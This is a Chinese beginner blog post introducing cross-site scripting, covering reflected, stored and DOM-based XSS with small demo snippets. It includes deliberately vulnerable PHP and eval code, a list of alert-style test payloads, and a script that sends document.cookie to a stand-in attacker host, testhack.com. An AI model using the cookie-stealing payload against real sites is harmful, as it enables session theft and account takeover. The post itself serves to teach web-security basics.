刘志龙

2016-01-04 01:20

从零开始学web安全(1)

本文作者:IMWeb 刘志龙 原文出处:IMWeb社区 未经同意,禁止转载

一直对web安全很感兴趣,却一直只是略懂一点。决定从现在开始学起web安全的知识,更新起web安全系列的文章。文章内容为作者自己边学边写的,不对之处多谢各位大大们指出。

web安全比较经典的攻击手段有三种:xss,csrf,界面操作劫持。好吧,都是一知半解的,就从xss开始吧。这篇文章从xss基础讲起,内容比较简单,了解xss的同学可以直接跳过,关注后续笔者继续学习xss的文章就好了~~

XSS简介

XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的. 比如获取用户的Cookie,导航到恶意网站,携带木马等。

XSS分类

类型一: 反射型XSS

反射型XSS,又称非持久型XSS。之所以称为反射型XSS,则是因为这种攻击方式的注入代码是从目标服务器通过错误信息、搜索结果等等方式“反射”回来 的。而称为非持久型XSS,则是因为这种攻击方式具有一次性。攻击者通过电子邮件等方式将包含注入脚本的恶意链接发送给受害者,当受害者点击该链接时,注 入脚本被传输到目标服务器上,然后服务器将注入脚本“反射”到受害者的浏览器上,从而在该浏览器上执行了这段脚本。

反射性XSS危害虽然相对较小,但是应该是XSS中使用最多的一种手段。好吧,上面说了这么多概念,估计了解XSS的同学也没学到什么,不了解的同学也还是不知道这是什么。还是看个简单的DEMO:

假设站点http://www.test.com/xss/reflect.php 是这样一个有XSS漏洞的代码

<? php
    echo $_GET['x'];
?>

因为x的值没有经过任何过滤就直接输出,可以提交

http://www.test.com/xss/reflect.php?x=<script>alert(1)</script>

这样一个代码,就是一次反射型的XSS了。当然,打开这个URL的是被攻击的用户,攻击者得诱导用户去点击,用户点击后就会触发script里的脚本了,alert只是一个示例,将里面的代码改成比如把用户cookie发送到你自己的服务器,那就顺利获得被攻击用户在站点www.test.com 的cookie啦,然后一般就可以顺利登入,做各种事情。。后面会再仔细探"Payload"的问题~~

类型二 : 存储型XSS

存储型XSS会把用户输入的数据“存储”在服务器端。这种XSS具有很强的稳定性,危害性也要大的多。存储型XSS也叫持久型XSS。

最典型的例子是留言板XSS,用户提交一条包含XSS代码的留言存储到数据库,目标用户查看留言板时,那些留言的内容会从数据库查询出来并显示,浏览器发现有XSS代码,就当做正常的HTML与JS解析执行,于是就触发了XSS攻击。

类型三:: DOM XSS

DOM XSS和反射型XSS、存储型XSS的区别在于,DOM XSS的XSS代码并不需要服务器解析响应的直接参与,触发XSS靠的就是浏览器端的DOM解析,可以认为完全是客户端的事情。这类XSS作为一个前端的同学应该是要尤其注意。

举个非常简单的例子:

<script>
eval(location.hash.substr(1));
</script>

触发XSS的方式为

http://www.test.com/xssme.html#alert(1)

整个过程跟服务端完全没有任何关系,攻击者就可以轻松诱导别人点击有XSS代码的URL实现攻击。好吧,刚毕业时看规范说不能写eval还不以为然。有些同学还是觉得自己有信心写eval,能保证自己的代码没有问题。但是,有”输出点“就意味着有风险,就意味着多了一份被XSS的风险!还是能不写则不写为好~

XSS payload

上面举demo的时候说到窃取用户cookie,这就是XSS的其中一种常见的payload。XSS payload是什么?

XSS攻击成功后,攻击者能够对用户当前浏览的页面植入恶意脚本,通过恶意脚本,控制用户的浏览器。这些用已完成各种具体功能的恶意脚本,被称为”XSS payload"。

XSS Payload实际上就是JavaScript脚本(还可以是Flash或其他富客户端的脚本),所以任何Javascript脚本能实现的功能,XSS Payload都能做到。

举几个简单的Payload形式,详细的大家可以查查,非常的多:

<script>alert(1)</script>
'"><script>alert(1)</script>
<img/src=@ onerror=alert(1) />
'"<img/src=@ onerror=alert(1) />
alert(1)
' onmouseover=alert(1) x='
" onmouseover=alert(1) x="
</script><script>alert(1)

当然,刚说了上面这些东西也没啥用,看着好像也没啥意义,后面的文章会慢慢的探讨这些。先来把前面那个窃取cookie的简单demo来看看吧:

 var img = document.createElement('img');
 img.src = "http://www.testhack.com/log?" + escape(document.cookie);
 document.body.appendChild(img);

这样就是一个简单的窃取cookie的Payload了。还是用上面反射性XSS那个例子,我们只要把引入alert(1)的代码改成引入上面这段代码,只要用户被诱骗点击带有XSS代码的URL,就会往我们的服务器testhack.com发送test.com的cookie啦~ 顺利拿到cookie,然后palapala~~~

从我的理解来看,只要不存在数据“输入点”或者“输出点”,就是不可能发生XSS的,但是一个代码怎么可能没有数据“输入点”和“输出点”呢~~ 看完上面的简单介绍,大家应该还是觉得自己的代码应该没有任何问题,自己写的代码是安全的。事实真的是这样吗。。反正笔者在学习过程中感觉自己的代码存在很多问题,很多东西以前根本没想到。。

这篇文章仅仅是XSS一个简单基础知识介绍,后面系列会把继续学习的内容分享出来,下篇文章继续学XSS额O(∩_∩)O~

未完待续~~

2条评论

    您需要 注册 一个IMWeb账号或者 才能进行评论。